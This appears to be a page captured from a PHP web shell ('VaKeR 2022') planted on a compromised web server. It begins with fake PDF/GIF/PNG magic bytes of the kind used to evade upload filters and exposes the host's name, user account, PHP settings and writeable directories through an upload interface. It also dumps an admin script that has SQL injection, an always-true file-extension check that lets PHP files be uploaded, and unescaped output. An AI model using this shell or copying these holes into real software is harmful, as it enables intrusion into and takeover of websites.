%PDF- %GIF98; %PNG; .
Cyber Programmer
Logo of a company Server : Apache
System : Linux host.digitalbabaji.in 4.18.0-513.11.1.el8_9.x86_64 #1 SMP Wed Jan 17 02:00:40 EST 2024 x86_64
User : addictionfreeind ( 1003)
PHP Version : 7.2.34
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/addictionfreeind/www/admin-20221229205336/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/addictionfreeind/www/admin-20221229205336/treatmentsedit.php
<?php
include "top.php";
$query="select * from treatments where id='".$_REQUEST['id']."'";
$result=mysqli_query($c,$query);
while($row= mysqli_fetch_array($result))
{
$name=$row['name'];
$picture=$row['picture'];
}
if(isset($_REQUEST['submit']))
{
if($_FILES['picture']['name']!="")
{
unlink("../img/".$picture);	
$timestamp = strtotime(date('m/d/Y h:i:s a', time()));
$timestamp=$timestamp*rand(1, 5);
$ext = pathinfo($_FILES['picture']['name'], PATHINFO_EXTENSION);
$picture=$timestamp.'.'.$ext;
if($ext!='php' OR $ext!='js')
{
move_uploaded_file($_FILES["picture"]["tmp_name"],"../webroot/img/".$picture);
}
}
$query="update treatments set name='".$_REQUEST['name']."',picture='".$picture."' where id='".$_REQUEST['id']."'";
$result=mysqli_query($c,$query);
header("location:treatments.php");
}
?>
<div class="content-wrapper"> 
<section class="content-header sty-one">
<h1>treatments Update</h1>
<ol class="breadcrumb">
<li><a href="dashboard.php">Home</a></li>
<li><i class="fa fa-angle-right"></i> treatments Update</li>
</ol>
</section>
<section class="content">
<div class="card-body">
<form class="form" method="post" enctype="multipart/form-data">
<div class="row">
<div class="col-lg-6 col-md-6 col-xs-12">
<div class="form-group">
<label>NAME</label>
<input class="form-control" type="text" name="name" value="<?php echo $name;?>"required="">
</div>
</div>
<div class="col-lg-6 col-md-6 col-xs-12">
<div class="form-group">
<label>PICTURE</label>
<input class="form-control" type="file" name="picture" required="">
 <img width="100" src="../webroot/img/<?php echo $row['picture'];?>">
</div>
</div>
</div>
<div class="row">
<div class="col-lg-3 col-xs-6">
<button type="submit" name="submit" class="btn">Submit</button>
</div>
</div>
</form>
</div>
</section>
<?php
include "footer.php";
?>

VaKeR 2022